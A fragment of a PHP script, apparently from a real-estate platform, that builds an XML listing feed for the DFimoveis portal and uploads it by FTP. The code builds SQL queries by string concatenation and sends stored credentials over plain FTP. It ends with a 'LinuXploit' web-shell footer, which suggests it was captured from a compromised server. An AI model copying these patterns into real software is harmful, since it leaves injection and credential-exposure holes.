                            $Category = $dom->createElement("Varanda");
                            $imovel->appendChild($Category);
                            $CategoryValue = $dom->createTextNode('1');
                            $Category->appendChild($CategoryValue);         
                        }
                        if (($detalhe == 'Academia')) {  
                            $Category = $dom->createElement("SalaGinastica");
                            $imovel->appendChild($Category);
                            $CategoryValue = $dom->createTextNode('1');
                            $Category->appendChild($CategoryValue);         
                        }
                        if (($detalhe == 'Salão de Festas')) {  
                            $Category = $dom->createElement("SalaoFestas");
                            $imovel->appendChild($Category);
                            $CategoryValue = $dom->createTextNode('1');
                            $Category->appendChild($CategoryValue);         
                        }
                        if (($detalhe == 'Armário Embutido')) {  
                            $Category = $dom->createElement("CozinhaComArmarios");
                            $imovel->appendChild($Category);
                            $CategoryValue = $dom->createTextNode('1');
                            $Category->appendChild($CategoryValue);         
                        }
                        if (($detalhe == 'Quarto da Empregada')) {  
                            $Category = $dom->createElement("QuartoWCEmpregada");
                            $imovel->appendChild($Category);
                            $CategoryValue = $dom->createTextNode('1');
                            $Category->appendChild($CategoryValue);         
                        }
                        if (($detalhe == 'Quarto da Empregada')) {  
                            $Category = $dom->createElement("QuartoWCEmpregada");
                            $imovel->appendChild($Category);
                            $CategoryValue = $dom->createTextNode('1');
                            $Category->appendChild($CategoryValue);         
                        }
                        if (($detalhe == 'Escritório')) {  
                            $Category = $dom->createElement("Escritorio");
                            $imovel->appendChild($Category);
                            $CategoryValue = $dom->createTextNode('1');
                            $Category->appendChild($CategoryValue);         
                        }
                        if (($detalhe == 'Guarita') || ($detalhe == 'Condomínio fechado')) {  
                            $Category = $dom->createElement("Guarita");
                            $imovel->appendChild($Category);
                            $CategoryValue = $dom->createTextNode('1');
                            $Category->appendChild($CategoryValue);         
                        }
                        if (($detalhe == 'Interfone')) {  
                            $Category = $dom->createElement("Interfone");
                            $imovel->appendChild($Category);
                            $CategoryValue = $dom->createTextNode('1');
                            $Category->appendChild($CategoryValue);         
                        }
                        if (($detalhe == 'Jardim') || ($detalhe == 'jardim')) {  
                            $Category = $dom->createElement("Jardim");
                            $imovel->appendChild($Category);
                            $CategoryValue = $dom->createTextNode('1');
                            $Category->appendChild($CategoryValue);         
                        }
                        if (($detalhe == 'Lavabo')) {  
                            $Category = $dom->createElement("Lavabo");
                            $imovel->appendChild($Category);
                            $CategoryValue = $dom->createTextNode('1');
                            $Category->appendChild($CategoryValue);         
                        }
                        if (($detalhe == 'Playground') || ($detalhe == 'playground')) {  
                            $Category = $dom->createElement("Playground");
                            $imovel->appendChild($Category);
                            $CategoryValue = $dom->createTextNode('1');
                            $Category->appendChild($CategoryValue);         
                        }
                        if (($detalhe == 'Portão Eletrônico')) {  
                            $Category = $dom->createElement("PortaoEletronico");
                            $imovel->appendChild($Category);
                            $CategoryValue = $dom->createTextNode('1');
                            $Category->appendChild($CategoryValue);         
                        }
                        if (($detalhe == 'Quadra Poliesportiva') || ($detalhe == 'Quadra poliesportiva') || ($detalhe == 'quadra poliesportiva')) {  
                            $Category = $dom->createElement("QuadraEsportiva");
                            $imovel->appendChild($Category);
                            $CategoryValue = $dom->createTextNode('1');
                            $Category->appendChild($CategoryValue);         
                        }
                        if (($detalhe == 'Salão de Jogos') || ($detalhe == 'Salão de jogos') || ($detalhe == 'salão de jogos')) {  
                            $Category = $dom->createElement("SalaoJogos");
                            $imovel->appendChild($Category);
                            $CategoryValue = $dom->createTextNode('1');
                            $Category->appendChild($CategoryValue);         
                        }
                        if (($detalhe == 'Sauna') || ($detalhe == 'sauna')) {  
                            $Category = $dom->createElement("Feature");
                            $imovel->appendChild($Category);
                            $CategoryValue = $dom->createTextNode('1');
                            $Category->appendChild($CategoryValue);         
                        }
                } 
            }

                $fotoss = unserialize($campo['fotos']);
                $pictures = $dom->createElement("Fotos");
                $imovel->appendChild($pictures);
                                
//FIM Bloco 06
//Bloco 07 (Verificar o caminha das imagens com https com os portais)
                //if ($fotoss[0] != '') {
                if (isset($fotoss)) {
                    $contfotos = 0;
                    foreach ($fotoss as $imagem) {
                        if ($contfotos < 15) {
                            $imageURL = $dom->createElement("Foto");
                            $pictures->appendChild($imageURL);
                            
                            $attrimagem = $dom->createElement("NomeArquivo");
                            $imageURL->appendChild($attrimagem);
                            $attrimagemValue = $dom->createTextNode($imagem);
                            $attrimagem->appendChild($attrimagemValue);
                            
                            $attrimagem = $dom->createElement("UrlArquivo");
                            $imageURL->appendChild($attrimagem); 
                            $imageURLValue = $dom->createTextNode(HOME_URI . 'subdominios/' . $_SESSION['userdata']['contratante'] . '/fotos/' . $campo['id_imovel'] . '/' . $imagem);
                            $attrimagem->appendChild($imageURLValue);
                            $contfotos++;
                        }
                    }
                } else {
                    $imageURL = $dom->createElement("Foto");
                    $pictures->appendChild($imageURL);

                    $attrimagem = $dom->createElement("NomeArquivo");
                    $imageURL->appendChild($attrimagem);
                    $attrimagemValue = $dom->createTextNode($imagem);
                    $attrimagem->appendChild($attrimagemValue);
                    
                    $imageURLValue = $dom->createTextNode(HOME_URI . 'views/_images/semfoto_800x600.jpg');
                    $attrimagem->appendChild($imageURLValue);
                }
                
//FIM BLOCO 17 (PROBLEMA)
/////////////////////////////////////////////////////////////////////////// desapega - FIM
            } 
               
        }else{
                        
            if($campo['valor'] == ''){
                $imovel_invalido_dfimoveis .= 'Valor do Imóvel '.'%';
            }
            if($campo['subtipoimovel'] == ''){
                $imovel_invalido_dfimoveis .= 'SubTipo do Imóvel '.'%';
            }
            if($campo['tipo'] == ''){
                $imovel_invalido_dfimoveis .= 'Tipo do Imóvel '.'%';
            }
            if($campo['cod_referencia'] == ''){
                $imovel_invalido_dfimoveis .= 'Código de referência '.'%';
            }            
            if($campo['cep_estado'] == null){
                $imovel_invalido_dfimoveis .= 'CEP'.'%';
            }
            if($campo['cep_cidade'] == null){
                $imovel_invalido_dfimoveis .= 'Cidade'.'%';
            }
            if($campo['cep'] == null){
                $imovel_invalido_dfimoveis .= 'Cep'.'%';
            }
            if($campo['cep_logradouro'] == null){
                $imovel_invalido_dfimoveis .= 'Endereço'.'%';
            }
            if($campo['cep_bairro'] == null){
                $imovel_invalido_dfimoveis .= 'Bairro'.'%';
            }
            if($campo['status'] != '0'){
                $imovel_invalido_dfimoveis .= 'Status do Imóvel: Arquivado'.'%';
            } 
            
            if($campo['areautil'] == ''){
                $imovel_invalido_dfimoveis .= 'Área Útil'.'%';
            }
                
            if($campo['areatotal'] == ''){
                $imovel_invalido_dfimoveis .= 'Área Total'.'%';
            }
            
            if($campo['dormitorio'] == '0'){
                $imovel_invalido_dfimoveis .= 'Dormitório'.'%';
            }
        }
        
        if(($validar == '1') || ($imovelvalido == 'nao')){
            $cod_referencia_pendente_dfimoveis .=   '-' .$campo['id_imovel'];
        }
    }
        if($imovel_invalido_dfimoveis != ''){ 
               $imovel_invalido_id_dfimoveis .= $campo['id_imovel'].'%'.$imovel_invalido_dfimoveis.'//';
            }
}

$get_integracoes = $this->acaoglobal(array('integracoes', 'id'), 'get', 17);    
    
$this->acaoglobal(array('integracoes', 'id'), 'update', array(
                                            'pendentes' => $cod_referencia_pendente_dfimoveis,
                                            'pendencias' => $imovel_invalido_id_dfimoveis,
                                            'id' => '17'
                                            )
                                    );

$prod_dom_load = $banco->query('SELECT * FROM produtos WHERE id_cliente = "' . $_SESSION['userdata']['contratante'] . '" AND produto_servico < 6');
$prod_dom = $prod_dom_load->fetch(PDO::FETCH_ASSOC);

$prod_dom_info_load = $banco->query('SELECT * FROM produtos WHERE dominio = "' . $prod_dom['dominio'] . '" AND produto_servico = 8');
$prod_dom_info = $prod_dom_info_load->fetch(PDO::FETCH_ASSOC);

$serv_info_load = $banco->query('SELECT * FROM servidores WHERE id_servidores = 2');
$serv_info = $serv_info_load->fetch(PDO::FETCH_ASSOC);

$prod_info = unserialize($prod_dom_info['dados_cpanel']);
//final do imovel
// save tree to file
$dom->save(ABSPATH . "/subdominios/" . $_SESSION['userdata']['contratante'] . "/dfimoveis.xml");
// save tree to string
$order = $dom->save(ABSPATH . "/subdominios/" . $_SESSION['userdata']['contratante'] . "/dfimoveis.xml");


$file = ABSPATH . "/subdominios/" . $_SESSION['userdata']['contratante'] . "/dfimoveis.xml";

// set up basic connection
$conn_id = ftp_connect($serv_info['ip_server']);
$dir = 'public_html/integracoes';
$remote_file = $dir.'/dfimoveis.xml';
// login with username and password
$login_result = ftp_login($conn_id, $prod_info['user'], $prod_info['senha']);
// upload a file

if (@ftp_mkdir($conn_id, $dir)) {
    echo "successfully created $dir\n";
} else {
    echo "There was a problem while creating $dir\n";
}
    if (ftp_put($conn_id, $remote_file, $file, FTP_ASCII)) {
        echo "successfully uploaded $file\n";
    } else {
        echo "There was a problem while uploading $file\n";
    }
  

// close the connection
unlink($file);
ftp_close($conn_id);

?>

Youez - 2016 - github.com/yon3zu
LinuXploit